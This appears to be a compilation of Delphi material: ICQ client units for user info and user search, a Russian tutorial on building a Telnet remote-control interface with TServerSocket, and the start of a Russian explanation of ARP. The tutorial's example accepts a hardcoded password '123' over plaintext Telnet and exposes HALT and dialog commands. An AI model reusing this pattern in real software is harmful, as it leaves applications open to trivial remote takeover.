      for i:=0 to 121 do begin
        if Countries[i].Text = Combo.Text then begin
           Result := Countries[i].Code;
           break;
        end;
      end;
end;

procedure TUserInfo.SetGender(Combo:TComboBox; Gender:byte);
begin
      Combo.Clear;
      Combo.Items.Add('Not specified');
      Combo.Items.Add('Female');
      Combo.Items.Add('Male');
      case Gender of
        0: Combo.Text := 'Not specified';
        1: Combo.Text := 'Female';
        2: Combo.Text := 'Male';
        else Combo.Text := 'Not specified';
      end;
end;

function TUserInfo.GetGender(Combo:TComboBox):byte;
begin
     Result := 0;
     if Combo.Text = 'Female' then Result := 1
     else if Combo.Text = 'Male' then Result := 2;
end;

procedure TUserInfo.SetMonth(Combo:TComboBox; Month:byte);
var i : integer;
begin
      Combo.Clear;
      for i:=0 to 12 do begin
        Combo.Items.Add(MetaMonth[i].Text);
        if MetaMonth[i].Code = Month then Combo.Text := MetaMonth[i].Text;
      end;
      if Combo.Text = '' then Combo.Text := MetaMonth[12].Text;
end;

function TUserInfo.GetMonth(Combo:TComboBox):byte;
var i : integer;
begin
     Result := 0;
      for i:=0 to 12 do begin
        if MetaMonth[i].Text = Combo.Text then begin
           Result := MetaMonth[i].Code;
           break;
        end;
      end;
end;

procedure TUserInfo.SetLanguage(Combo:TComboBox; Lang:byte);
var i : integer;
begin
      Combo.Clear;
      for i:=0 to 67 do begin
        Combo.Items.Add(MetaLanguages[i].Text);
        if MetaLanguages[i].Code = Lang then Combo.Text := MetaLanguages[i].Text;
      end;
      if Combo.Text = '' then Combo.Text := MetaLanguages[0].Text;
end;

function TUserInfo.GetLanguage(Combo:TComboBox):byte;
var i : integer;
begin
     Result := 0;
      for i:=0 to 67 do begin
        if MetaLanguages[i].Text = Combo.Text then begin
           Result := MetaLanguages[i].Code;
           break;
        end;
      end;
end;

procedure TUserInfo.SetOccupation(Combo:TComboBox; Occupation:word);
var i : integer;
begin
      Combo.Clear;
      for i:=0 to 28 do begin
        Combo.Items.Add(MetaOccupation[i].Text);
        if MetaOccupation[i].Code = Occupation then Combo.Text := MetaOccupation[i].Text;
      end;
      if Combo.Text = '' then Combo.Text := MetaOccupation[28].Text;
end;

function TUserInfo.GetOccupation(Combo:TComboBox):word;
var i : integer;
begin
     Result := 0; // not specified
      for i:=0 to 27 do begin
        if MetaOccupation[i].Text = Combo.Text then begin
           Result := MetaOccupation[i].Code;
           break;
        end;
      end;
end;

procedure TUserInfo.SetCombo(Combo:TComboBox; min,max,Value:word);
var i : integer;
begin
      Combo.Clear;
      for i:=min to max do begin
        Combo.Items.Add(s(i));
        if i=Value then Combo.Text := s(i);
      end;
      Combo.Items.Add('Not specified');
      if Combo.Text = '' then Combo.Text := 'Not specified';
end;

function TUserInfo.GetCombo(Combo:TComboBox; min,max:byte):word;
begin
     Result := 0;
     if Combo.Text = 'Not specified' then exit
     else
     try Result := strtoint(Combo.Text) except Result := 0; end;
     if (Result >= min) and (Result<=max) then exit else Result := 0;
end;

procedure TUserInfo.ApplicationEvents1Message(var Msg: tagMSG;
  var Handled: Boolean);
var  PBuff : PInfoRec;
begin
     if Msg.message = msg_UInfo then begin
       if (Msg.wParam = Cookie)then begin
         Handled := false;
         PBuff := PInfoRec(Msg.lParam);
         case PBuff^.f of
          dEND: begin
                   M(Form1.Memo,'The END.');
                   UIAnime.Active := false;
                 end;
          dNick: begin
                   UIRecord.NICK := PBuff^.s;
                   NickEd.Text := PBuff^.s;
                 end;
          dFirst: begin
                   UIRecord.FIRST := PBuff^.s;
                   FirstEd.Text := PBuff^.s;
                 end;
          dLast: begin
                   UIRecord.LAST := PBuff^.s;
                   LastEd.Text := PBuff^.s;
                 end;
          dE_Mail: begin
                   UIRecord.PRI_E_MAIL := PBuff^.s;
                   priEd.Text := PBuff^.s;
                 end;
          dSec_E_Mail: begin
                   UIRecord.SEC_E_MAIL := PBuff^.s;
                   secEd.Text := PBuff^.s;
                 end;
          dOld_E_Mail: begin
                   UIRecord.OLD_E_MAIL := PBuff^.s;
                   oldEd.Text := PBuff^.s;
                 end;
          dIP: begin
                   strtoip(PBuff^.s,UIRecord.IP);
                   ipEd.Text := PBuff^.s;
                 end;
          dReal_IP: begin
                   strtoip(PBuff^.s,UIRecord.REAL_IP);
                   realipEd.Text := PBuff^.s;
                 end;
          dVer: begin
                   UIRecord.VER := strtoint(PBuff^.s);
                   verEd.Text := PBuff^.s;
                 end;
          dAuth: begin
                   UIRecord.AUTH := strtoint(PBuff^.s);
                   case UIRecord.AUTH of
                     0: AuthLabel.Caption := 'Authorize';
                     1: AuthLabel.Caption := 'Always';
                     else AuthLabel.Caption := 'unknown';
                   end;
                 end;
          dCity: begin
                   UIRecord.CITY := PBuff^.s;
                   cityEd.Text := PBuff^.s;
                 end;
          dState: begin
                   UIRecord.STATE := PBuff^.s;
                   stateEd.Text := PBuff^.s;
                 end;
          dPhone: begin
                   UIRecord.Phone := PBuff^.s;
                   PhoneEd.Text := PBuff^.s;
                 end;
          dFax: begin
                   UIRecord.Fax := PBuff^.s;
                   FaxEd.Text := PBuff^.s;
                 end;
          dCellular: begin
                   UIRecord.Cellular := PBuff^.s;
                   CellularEd.Text := PBuff^.s;
                 end;
          dZip: begin
                   UIRecord.Zip := PBuff^.s;
                   ZipEd.Text := PBuff^.s;
                 end;
          dStreet: begin
                   UIRecord.Street := PBuff^.s;
                   streetMemo.Clear;
                   M(streetMemo,PBuff^.s);
                 end;
          dCountry: begin
                   UIRecord.Country := strtoint(PBuff^.s);
                   SetCountry(countryCombo,UIRecord.COUNTRY);
                 end;
          dTimeZone: begin
                   UIRecord.TimeZone := strtoint(PBuff^.s);
                   tzEd.Text := PBuff^.s;
                 end;
          dWebAware: begin
    //               UIRecord.WebAware := strtoint(PBuff^.s);
    //               webawareEd.Text := PBuff^.s;
                 end;
          dHideIP: begin
    //               UIRecord.HideIP := PBuff^.s;
    //               HideIPEd.Text := PBuff^.s;
                 end;
          dAge: begin
                   UIRecord.Age := strtoint(PBuff^.s);
                   AgeEd.Text := PBuff^.s;
                 end;
          dGender: begin
                   UIRecord.Gender := strtoint(PBuff^.s);
                   SetGender(genderCombo,UIRecord.GENDER);
                 end;
          dHomepage: begin
                   UIRecord.Homepage := PBuff^.s;
                   HomepageEd.Text := PBuff^.s;
                 end;
          dByear: begin
                   UIRecord.Byear := strtoint(PBuff^.s);
                   if UIRecord.Byear<>0 then dec(UIRecord.Byear,1900);
                   SetCombo(yearCombo,1,99,UIRecord.Byear);
                 end;
          dBmonth: begin
                   UIRecord.BMonth := strtoint(PBuff^.s);
                   SetMonth(monthCombo,UIRecord.BMonth);
                 end;
          dBday: begin
                   UIRecord.Bday := strtoint(PBuff^.s);
                   SetCombo(dayCombo,1,31,UIRecord.Bday);
                 end;
          dAbout: begin
                   UIRecord.ABOUT := PBuff^.s;
                   AboutMemo.Clear;
                   M(AboutMemo,PBuff^.s);
                 end;
          dLang1: begin
                   UIRecord.LANG1 := strtoint(PBuff^.s);
                   SetLanguage(lang1Combo,UIRecord.LANG1);
                 end;
          dLang2: begin
                   UIRecord.LANG2 := strtoint(PBuff^.s);
                   SetLanguage(lang2Combo,UIRecord.LANG2);
                 end;
          dLang3: begin
                   UIRecord.LANG3 := strtoint(PBuff^.s);
                   SetLanguage(lang3Combo,UIRecord.LANG3);
                 end;
          dInterests: begin
                   UIRecord.INTERESTS := PBuff^.s;
                   interMemo.Clear;
                   M(interMemo,PBuff^.s);
                 end;
          dFailure: begin
    ///////////////////////////// ?????
                 end;
          dMeta_Srv_Res: begin
                   UIAnime.Active := false;
                 end;
          dwCity: begin
                   UIRecord.WCITY := PBuff^.s;
                   wcityEd.Text := PBuff^.s;
                  end;
          dwState:begin
                   UIRecord.WSTATE := PBuff^.s;
                   wstateEd.Text := PBuff^.s;
                  end;
          dwPhone:begin
                   UIRecord.WPHONE := PBuff^.s;
                   wphoneEd.Text := PBuff^.s;
                  end;
          dwFax:begin
                   UIRecord.WFAX := PBuff^.s;
                   wfaxEd.Text := PBuff^.s;
                  end;
          dwStreet:begin
                   UIRecord.WSTREET := PBuff^.s;
                   wstreetMemo.Clear;
                   M(wstreetMemo,PBuff^.s);
                  end;
          dwZip:begin
                   UIRecord.WZIP := PBuff^.s;
                   wzipEd.Text := PBuff^.s;
                  end;
          dwCountry:begin
                   UIRecord.WCOUNTRY := strtoint(PBuff^.s);
                   SetCountry(wcountryCombo,UIRecord.WCOUNTRY);
                  end;
          dCompany:begin
                   UIRecord.COMPANY := PBuff^.s;
                   companyEd.Text := PBuff^.s;
                  end;
          dDepartment:begin
                   UIRecord.DEPARTMENT := PBuff^.s;
                   departmentEd.Text := PBuff^.s;
                  end;
          dJob:begin
                   UIRecord.JOB := PBuff^.s;
                   jobEd.Text := PBuff^.s;
                  end;
          dOccupation:begin
                   UIRecord.OCCUPATION := strtoint(PBuff^.s);
                   SetOccupation(occupationCombo,UIRecord.Occupation);
                  end;
          dWhomepage:begin
                   UIRecord.WHOMEPAGE := PBuff^.s;
                   whomepageEd.Text := PBuff^.s;
                  end;
          end; // case
          Dispose(PBuff);
       end;
     end;
end;

end.


SUser.pas

{* * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *
Author:       Alexander Vaga
EMail:        primary:   icq2000cc@hobi.ru
              secondary: alexander_vaga@hotmail.com
Web:          http://icq2000cc.hobi.ru
Creation:     May, 2002
Legal issues: Copyright (C) 2002 by Alexander Vaga
              Kyiv, Ukraine

              This software is provided 'as-is', without any express or
              implied warranty.  In no event will the author be held liable
              for any  damages arising from the use of this software.

              Permission is granted to anyone to use this software for any
              purpose, including commercial applications, and to alter it
              and redistribute it freely.
 * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * *}

unit SUser;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls, ComCtrls, Menus, Animate, ExtCtrls, Grids, AppEvnts,
  Typess,Packet,Main,UInfo;

type
  TSearchUser = class(TForm)
    GroupBox1: TGroupBox;
    SearchBtn: TButton;
    StopSearchBtn: TButton;
    SearchPage: TPageControl;
    EMAIL: TTabSheet;
    DETAILS: TTabSheet;
    ICQn: TTabSheet;
    Label1: TLabel;
    GroupBox2: TGroupBox;
    Label2: TLabel;
    EMAILed: TEdit;
    GroupBox3: TGroupBox;
    Label3: TLabel;
    Label4: TLabel;
    Label5: TLabel;
    NICKed: TEdit;
    FIRSTed: TEdit;
    LASTed: TEdit;
    GroupBox4: TGroupBox;
    Label6: TLabel;
    UINed: TEdit;
    Label7: TLabel;
    FoundUsers: TStringGrid;
    FoundLabel: TLabel;
    FoundPopupMenu: TPopupMenu;
    AddToCList: TMenuItem;
    Panel1: TPanel;
    SUAnime: TAnimatedImage;
    Info: TMenuItem;
    ApplicationEvents1: TApplicationEvents;
    procedure SearchBtnClick(Sender: TObject);
    procedure StopSearchBtnClick(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    procedure META_Search_User(NN,FN,LN : string);
    procedure META_Search_UIN(sUIN : string);
    procedure META_Search_Mail(Mail : string);
    procedure FormCreate(Sender: TObject);
    procedure AddToCListClick(Sender: TObject);
    procedure InfoClick(Sender: TObject);
    procedure ApplicationEvents1Message(var Msg: tagMSG;
      var Handled: Boolean);
  private
    { Private declarations }
  public
    Failure : boolean;
    Cookie : word;
    { Public declarations }
  end;

implementation
{$R *.DFM}

type TFoundList = array[0..50] of TListRecord;
var FoundList : TFoundList;
    FoundNum : integer;

procedure TSearchUser.SearchBtnClick(Sender: TObject);
var i : integer;
begin
     FoundLabel.Caption := 'OFF-line mode is now!';
     if (not OL) or (not isLogged) then exit;
     FoundLabel.Caption := 'Found: ?';
     EndOfSearch := true;
     Failure := false;
     FoundNum := 0;
     FoundLabel.Caption := 'Found: '+s(FoundNum)+' user(s)';
     FoundUsers.RowCount := 2;

     case SearchPage.ActivePageIndex of
      0: META_Search_Mail(EMAILed.Text);
      1: META_Search_User(NICKed.Text,FIRSTed.Text,LASTed.Text);
      2: META_Search_UIN(UINed.Text);
     end;

     SearchBtn.Enabled := false;
     SUAnime.Active := true;
     while not EndOfSearch do Application.ProcessMessages;
     SUAnime.Active := false;
     SearchBtn.Enabled := true;
     FoundLabel.Caption := 'Found: '+s(FoundNum)+' user(s)';
     if FoundNum > 0 then begin
        for i:=0 to FoundNum-1 do begin
           with FoundUsers,FoundList[i] do begin
              case STATUS of
                0: Cells[0,i+1] := 'O';
                1: Cells[0,i+1] := '+';
                2: Cells[0,i+1] := '?';
                else Cells[0,i+1] := '.';
              end;
              Cells[1,i+1] := s(UIN);
              Cells[2,i+1] := NICK;
              Cells[3,i+1] := FIRST;
              Cells[4,i+1] := LAST;
              Cells[5,i+1] := PRI_E_MAIL;
              case AUTH of
                0: Cells[6,i+1] := 'Author.';
                1: Cells[6,i+1] := 'Always';
                else Cells[6,i+1] := 'Mode: '+s(AUTH);
              end;
              if i=FoundNum-1 then break;
              RowCount := RowCount + 1;
           end;
        end;
     end else begin
        Foundusers.RowCount := 2;
        FoundUsers.Cells[0,1] := '';
        FoundUsers.Cells[1,1] := '';
        FoundUsers.Cells[2,1] := '';
        FoundUsers.Cells[3,1] := '';
        FoundUsers.Cells[4,1] := '';
        FoundUsers.Cells[5,1] := '';
        FoundUsers.Cells[6,1] := '';
        EndOfSearch := true;
     end;
     if Failure then FoundLabel.Caption := '!!! Failure !!!';
end;

procedure TSearchUser.StopSearchBtnClick(Sender: TObject);
begin
     EndOfSearch := true;
     SearchBtn.Enabled := true;
end;

procedure TSearchUser.FormClose(Sender: TObject; var Action: TCloseAction);
begin
     EndOfSearch := true;
     Destroy;
end;

procedure TSearchUser.META_Search_User(NN,FN,LN : string);
var p,a : PPack;
begin
     if (NN='')and(FN='')and(LN='') then exit;
     EndOfSearch := false;

     a := PacketNew;
     PacketGoto(a,2); // a[0..1] = len
     PacketAppend32(a,main.UIN);
     PacketAppend16(a,swap($D007));
     Cookie := random($FF) shl 8;
     PacketAppend16(a,swap(Cookie));
     PacketAppend16(a,swap($1505));

     PacketAppendString(a,FN);
     PacketAppendString(a,LN);
     PacketAppendString(a,NN);

     PacketBegin(a);
     PacketAppend16(a,a.length-2);

     P:=CreatePacket(2,SEQ);
     SNACAppend(p,$15,$2);
     TLVAppend(p,1,a.length,@a.data);
     PacketDelete(a);
     Form1.PacketSend(p);
     M(Form1.Memo,'>Search Detail: Nick:'+NN+'   First:'+FN+'   Last:'+LN+'   '+
                  'Cookie:$'+inttohex(Cookie,4));
end;

procedure TSearchUser.META_Search_UIN(sUIN : string);
var p,a : PPack;
    i : integer;
begin
     if (sUIN='')then exit;
     for i:=1 to length(sUIN) do if (sUIN[i]<'0')or(sUIN[i]>'9') then exit;
     EndOfSearch := false;

     a := PacketNew;
     PacketGoto(a,2); // a[0..1] = len
     PacketAppend32(a,main.UIN);
     PacketAppend16(a,swap($D007));
     Cookie := random($FF) shl 8;
     PacketAppend16(a,swap(Cookie));
     PacketAppend16(a,swap($1F05));
     try PacketAppend32(a,strtoint(sUIN));
     except PacketAppend32(a,10000000); end;
     PacketBegin(a);
     PacketAppend16(a,a.length-2);

     P:=CreatePacket(2,SEQ);
     SNACAppend(p,$15,$2);
     TLVAppend(p,1,a.length,@a.data);
     PacketDelete(a);
     Form1.PacketSend(p);
     M(Form1.Memo,'>Search UIN: '+sUIN+'   '+
                  'Cookie:$'+inttohex(Cookie,4));
end;

procedure TSearchUser.META_Search_Mail(Mail : string);
var p,a : PPack;
begin
     if (Mail='')or(pos('@',Mail)=0) then exit;
     EndOfSearch := false;

     a := PacketNew;
     PacketGoto(a,2);// a[0..1] = len
     PacketAppend32(a,main.UIN);
     PacketAppend16(a,swap($D007));
     Cookie := random($FF) shl 8;
     PacketAppend16(a,swap(Cookie));
     PacketAppend16(a,swap($2905));
     PacketAppendString(a,Mail);

     PacketBegin(a);
     PacketAppend16(a,a.length-2);

     P:=CreatePacket(2,SEQ);
     SNACAppend(p,$15,$2);
     TLVAppend(p,1,a.length,@a.data);
     PacketDelete(a);
     Form1.PacketSend(p);
     M(Form1.Memo,'>Search E-Mail: '+Mail+'   '+
                        'Cookie:$'+inttohex(Cookie,4));
end;

procedure TSearchUser.FormCreate(Sender: TObject);
begin
     with FoundUsers do begin
        Cells[0,0] := 'St';
        Cells[1,0] := 'UIN';
        Cells[2,0] := 'Nick Name';
        Cells[3,0] := 'First Name';
        Cells[4,0] := 'Last Name';
        Cells[5,0] := 'E-Mail';
        Cells[6,0] := 'Authorization';
     end;
end;

procedure TSearchUser.AddToCListClick(Sender: TObject);
var Y : integer;
    node : TTreeNode;
    tmp : PPack;
begin
     Y := FoundUsers.Selection.Top;
     if FoundNum = 0 then exit;

// copy to Contact List
     ContactList[CLNum] := FoundList[Y-1];
     if ContactList[CLNum].NICK = '' then
        ContactList[CLNum].NICK := s(ContactList[CLNum].UIN) ;

     ContactList[CLNum].EXTRA.ICON_INDEX := simply_icq;
     ContactList[CLNum].EXTRA.MES_IS := false;

// add to TTreeView
     node := Form1.CL.Items.AddObject(nil,ContactList[CLNum].NICK,@ContactList[CLNum]);
     node.ImageIndex := ContactList[CLNum].EXTRA.ICON_INDEX;
     node.SelectedIndex := ContactList[CLNum].EXTRA.ICON_INDEX;

     inc(CLNum);

     Form1.CL.AlphaSort;
     Form1.WriteToContactList(ContactList[CLNum-1]);

// Add to Contact List
     tmp := CreatePacket(2,SEQ);
     SNACAppend(tmp,$3,$4);
     PacketAppendB_String(tmp,s(ContactList[CLNum-1].UIN));
     Form1.PacketSend(tmp);
     M(Form1.Memo,'>Add To Contact List: '
                 +s(ContactList[CLNum-1].UIN));
// ... a useru ob etom ne obiazatelno znat :^)
end;

procedure TSearchUser.InfoClick(Sender: TObject);
var  TUI : TUserInfo;
     Y : integer;
begin
     Y := FoundUsers.Selection.Top;
     if FoundNum = 0 then exit;

     Application.CreateForm(TUserInfo,TUI);
     TUI.AutoRetrieve := true;
     TUI.Caption := 'Info:  '+s(FoundList[Y-1].UIN)+'   ( '+FoundList[Y-1].NICK+' )';
     TUI.UIRecord := FoundList[Y-1];
     TUI.Show;
end;

procedure TSearchUser.ApplicationEvents1Message(var Msg: tagMSG;
  var Handled: Boolean);
var  PBuff : PSearchRec;
     i : integer;
     IsAlways : boolean;
begin
     if Msg.message = msg_SInfo then begin
       if (Msg.wParam = Cookie)then begin
         Handled := false;
         PBuff := PSearchRec(Msg.lParam);
         if FoundNum = 50 then exit;
         IsAlways := false;
         for i:=0 to FoundNum-1 do
         if FoundUsers.Cells[1,i+1] = s(PBuff^.uin) then begin
            IsAlways := true;
            break;
         end;
         if not IsAlways then
         with PBuff^ do begin
           if uin <> 999999999 then begin
             FoundList[FoundNum].UIN := uin;
             FoundList[FoundNum].NICK := nick;
             FoundList[FoundNum].FIRST := first;
             FoundList[FoundNum].LAST := last;
             FoundList[FoundNum].PRI_E_MAIL := email;
             FoundList[FoundNum].AUTH := auth;
             FoundList[FoundNum].STATUS := status;
             inc(FoundNum);
           end else Failure := true;
         end;
         Dispose(PBuff);
       end;
     end;
end;

end.


Работа с Telnet

Cодержание раздела:

Управление приложением через Telnet


Управление приложением через Telnet

Итак, начнем с главного - почему для удаленного администрирования своей программы следует использовать именно Telnet? Ответ на этот вопрос достаточно прост:

Утилита Telnet есть на любом компьютере с операционной системой Windows, UNIX, AIX и т.п., поэтому ее не требуется писать или устанавливать
Telnet является штатным средством удаленного администрирования.
Telnet подразумевает текстовый обмен, поэтому его очень легко поддерживать в своей программе
Возможностей текстового терминала как правило достаточно для управления программой, ее настройки и администрирования
Рассмотрим немного теории. Утилиту Telnet легче всего запустить через Start->Run (Пуск -> Выполнить). После запуска необходимо произвести соединение с удаленным хостом, для чего выполняется используется меню "Connect->Remote System". При этом выводится меню соединения, в котором необходимо указать три параметра: хост, порт и тип терминала. В качестве хоста указывается имя удаленного компьютера (или его IP адрес), порт можно задать двумя путями - выбором/вводом символического имени (например, telnet), или вводом номера порта. Мы будем пользоваться вторым путем, т.е. будем использовать нестандартные номера портов. Тип терминала оставим vt100.

Утилита Telnet поддерживает параметры командой строки:

telnet [remote_host] [port]

где

remote_host представляет собой имя или IP адрес удаленной машины.
port номер порта. Если соединение идет по стандартному порту, то этот параметр опускается.
Пример:

telnet zaitsevov или telnet zaitsevov 5000

Протокол Telnet очень прост - сначала устанавливается TCP/IP соединение с удаленной машиной. Затем, когда пользователь вводит символ, происходит его передача удаленному хосту. Для простоты будем называть его сервером.

Далее возможно два режима работы - с локальным эхом или без локального эха (режим по умолчанию). Если работа ведется с локальным эхом, то каждый вводимый пользователем символ немедленно отображается на экране. При работе без локального эха сервер обязан создавать эхо, дублирую принимаемые данные клиенту. Это позволят тестировать канал (каждый символ проходит по кругу) и организовывать ввод данных без эха (например, для ввода пароля). Мои примеры ориентированы на работу без локального эха.

При приеме любой информации от сервера утилита Telnet немедленно отображает его на экране. Это позволяет серверу организовывать эхо и выводить любую информацию в текстовом виде. При этом поддерживатся некоторые управляющие коды, например, код "забой", стирающий один символ.

Итак, приступим к разработке приложения. Создадим пустой проект и поместим на форму компонент ServerSocket1 типа TServerSocket. Зададим ему порт, например 5000. Напоминаю, что:

номер порта должен быть нестандартным, чтобы не пересекаться с другими программами. При этом желательно считывать его из INI файла, что даст возможность настройки при необходимости.
Свойство Active должно быть false и устанавливаться в true при запуске программы. Иначе приложение свалится при попытке запуска второй копии или при отсутствии сети. Установку Active := true следует делать в блоке try ... except
Итак, в обработчике OnCreate формы пишем:

begin
  try
    ServerSocket1.Active := true;
  except
    ShowMessage('Ошибки при активации ServerSocket');
  end;
end;

Далее необходимо научиться определять моменты соединения и отключения клиента. Для этого следует создать обработчики OnClientConnect и OnClientDisconnect. Сразу отмечу, что при подключении клиента обычно принято выдывать ему заголовок, ообщающий о том, что он соединился с программой *** версии NN. С учетом этого обработчик OnClientConnect будет иметь вид:

procedure TMain.ServerSocket1ClientConnect(Sender: TObject; Socket: TCustomWinSocket);
begin
  Socket.SendText('Connected. Программа Telnet1 Example на проводе.'+#$0D+#$0A);
  Socket.SendText('Enter password : ');
  Connected := false;
  Memo1.Lines.Add('Произошло соединение с пользователем');
end;

При этом я хочу подчеркнуть особенность - нормально поддерживается одно соединение, для нескольких необходимы некоторые усложнения и мых их пока опустим.

Особенности:

Выводить информацию при соединении желательно на английском языке. Это позволяет избежать ситуации, когда на компьтере администратора не окажется поддержки русского языка и Telnet выведет ему абракадабру. У меня это наблюдается постоянно на английской NT 4 - приходится каждый раз лазить в настройки Telnet и задавать русский CharSet.
При соединении следует спросить пароль. Иначе каждый, кому нечего делать, залезет в программу и будет там ковыряться (из практики - преценденты были).
Переменная Connected отмечает, что пользователь еще не соединился с программой (т.е. не провел свою идентификацию). Рассмотрим сразу обработчик OnClientDisconnect, он еще проще:

// Поддержка связи по TCP/IP для удаленного конфигурирования - действия при отключении
procedure TMain.ServerSocket1ClientDisconnect(Sender: TObject; Socket: TCustomWinSocket);
begin
  Connected := false;
  Memo1.Lines.Add('Соединение разорвано');
end;

Итак, теперь настало время для самого интересного - написания обработчика OnClientRead. Этот обработчик вызывается всякий раз, когда от клиента приходят данные. Т.е. в свете приведенных выше теоретических замечаний это будет происходить при вводе каждого отдельного символа. Задачи обработчика:

Создавать (при необходимости) эхо для всех принимаемых символов. Очевидно, что при вводе паролей эхо создавать не нужно. При созании эха необходимо учитывать, что символ с кодом FF (буква "я") должен повторяться дважды, иначе он будет погложен Telnet - ом как служебный и не отобразится
Накапливать вводимые символы, ожидая прихода признака конца команы. Как правило, признаком конца команды считают перевод код строки (следует заметить, что тут разработчик сам себе стандарт, но отклоняться от общепринятых правил не рекомендуется. Для накопления принимаемой информации стоит завести буферную переменную, в моем случае она будет называться TelnetS.
При получении символа с кодом 08h ("BackSpace") необходимо не помещать ее в буфер, а стереть из буфера последний символ. Но в виде эха его отправить необходимо, т.к. это приведет к стиранию символа на экране Telnet (при подавлении эха он останется на экране, но сотрется в буфере программы, что приведет к путанице).
При обнаружении символа перевода строки (код $0D) следует считать содержимое буфера командой и интерпретировать. Как - это отдельный разговор
Все вышеописанное реализует примерно следующий код:

// Поддержка связи по TCP/IP для удаленного конфигурирования - действия при получении данных
procedure TForm1.ServerSocket1ClientRead(Sender: TObject; Socket: TCustomWinSocket);
var
  s, st: string;
begin
  s := Socket.ReceiveText;

  // Это код перевода строки ? Если да, то выполняем команду и передаем ее ответ клиенту
  if ord(s[1]) = $0D then
  begin
    st := ExecuteCMD(TelnetS);
    if st <> '' then
      st := #$0D + #$0A + st;
    st := st + #$0D + #$0A + '>';
    TelnetSendText(Socket, st);
    TelnetS := '';
    exit;
  end;

  // Это код клавиши BackSpace. Если да, то передадим его клиенту
  // и удалим последний символ из буфера
  if ord(s[1]) = $08 then
  begin
    Delete(TelnetS, length(TelnetS), 1);
    TelnetSendText(Socket, s);
    exit;
  end;

  // Добавим очередной символ к буферу
  TelnetS := TelnetS + s;

  // Передадим его клиенту для организации эха
  if connected then
    TelnetSendText(Socket, s);
end;

Как легко заметить, приведенный выше код реализует эхо, обрабатывает BackSpace и дожидается ввода команды, считая код $OD (Enter) признаком завершения ввода команды. При обнаружении этого кода вызывается функция пользователя ExecuteCMD, которая должна разобрать и проанализировать команду, выполнить ее и вернуть (при необходомости) ответ пользователю. Эта же функция занимается проверкой вводимого пользователем пароля. Так ка передача ответа/эха имеет некоторые особенности, например, необходимость удвоения символа с кодом FF и подавления передачи для реализации невидимого ввода, имеет смысл выполнить ее в виде отдельной функции:

// Передача ответа/эха клиенту
function TForm1.TelnetSendText(Socket: TCustomWinSocket; AText: string): boolean;
var
  i: integer;
  St: string;
begin
  Result := false;
  if not(connected) then
    exit;
  St := '';
  for i := 1 to length(AText) do
    if AText[i] <> #$FF then
      st := st + AText[i]
    else
      st := st + #$FF + #$FF;
  Socket.SendText(st);
end;

// В моем примере функция ExecuteCMD имеет вид:
// Интерретатор команд
function TForm1.ExecuteCMD(ACmd: string): string;
var
  UCmd, Params: string;
begin
  Result := '';
  Memo1.Lines.Add('Выполняется: '+ACmd);
  if not(connected) then
  begin
    if UpperCase(ACmd) = '123' then
    begin
      Connected := true;
      Result := 'Пользователь идентифицирован!';
    end;
    exit;
  end;

  // Выделение команды
  UCmd := ACmd;
  Params := '';
  if pos(' ', UCmd) > 0 then
  begin
    Params := Copy(UCmd, pos(' ', UCmd)+1, Length(UCmd));
    UCmd := Copy(UCmd, 1, pos(' ', UCmd)-1);
  end;
  UCmd := Trim(UpperCase(UCMD));
  Memo1.Lines.Add('Выделена команда: '+UCmd);

  // ? или HLP или HELP - вывод справки
  if (UCmd = '?') or (UCmd = 'HLP') or (UCmd = 'HELP') then
  begin
    Result :=
    'Краткая справка по командам Telnet интерфейса'+CRLF+
    ' ?, HLP, HELP - вызов справки'+CRLF+
    ' EXIT - завершение работы по Telnen интерфейсу'+CRLF+
    ' HALT - немедленный останов программы'+CRLF+
    ' VER - версия программы'+CRLF+
    ' MESS <собщение> - вывод сообщения для пользователя'+CRLF+
    ' INP <собщение> - вывод сообщения для пользователя и возврат его ответа';
    exit;
  end;

  if (UCmd = 'EXIT') then
  begin
    ServerSocket1.Socket.Connections[0].Close;
    exit;
  end;

  if (UCmd = 'VER') then
  begin
    Result := 'Версия 1.00 от 27.01.2001 (C) Зайцев Олег';
    exit;
  end;

  if (UCmd = 'HALT') then
    halt;

  if (UCmd = 'MESS') then
  begin
    ShowMessage(Params);
    exit;
  end;

  if (UCmd = 'INP') then
  begin
    Result := InputBox(Params,'Введите ответ', '');
    exit;
  end;

  Result := 'Неизвестная команда ' + ACmd;
end;

Реальная система команд естественно определяется разработчиком, но рекомендуется предусмотреть следующие команды:

?, HLP, HELP для вывода справочной информации (практика показала, что при поддерке 20-30 команд больше половины забываются за месяц)
EXIT - завершение обмена
И, наконец, в завершении следует отметить одну особенность - пользователь может завершить обмен корректно (путем ввода команды EXIT (если таковая поддерживается) или выбором опции "Отключить" в Telnet; и некорректно - путем закрытия Telnet во время обмена. В этом случае в программе будет ошибка сокета 10054. Ее имеет смысл поймать и подавить при помощи обработчика OnClientError следующего вида:

procedure TForm1.ServerSocket1ClientError(Sender: TObject; Socket: TCustomWinSocket;
  ErrorEvent: TErrorEvent; var ErrorCode: Integer);
begin
  // Обработка события "разрыв соединения"
  if ErrorCode = 10054 then
  begin
    Socket.Close;
    ErrorCode := 0;
  end;
end;

И в завершении хочется сказать, что подобная система внедрена в несколько моих программ, испрользуемых в ОАО Смоленскэнерго и отлично себя зарекомендовала, т.к. предприятие большое и возможность удаленной настройки/управления в ряде случаев освобождает разработчика от ненужной беготни.

Взято с http://delphiworld.narod.ru


Работа с ARP

Cодержание раздела:

Описание протокола ARP (Address Resolution Protocol)


Описание протокола ARP (Address Resolution Protocol)

Для определения локального адреса по IP-адресу используется протокол разрешения адреса Address Resolution Protocol, ARP. Протокол ARP работает различным образом в зависимости от того, какой протокол канального уровня работает в данной сети - протокол локальной сети (Ethernet, Token Ring, FDDI) с возможностью широковещательного доступа одновременно ко всем узлам сети, или же протокол глобальной сети (X.25, frame relay), как правило не поддерживающий широковещательный доступ. Существует также протокол, решающий обратную задачу - нахождение IP-адреса по известному локальному адресу. Он называется реверсивный ARP - RARP (Reverse Address Resolution Protocol) и используется при старте бездисковых станций, не знающих в начальный момент своего IP-адреса, но знающих адрес своего сетевого адаптера.

В локальных сетях протокол ARP использует широковещательные кадры протокола канального уровня для поиска в сети узла с заданным IP-адресом.

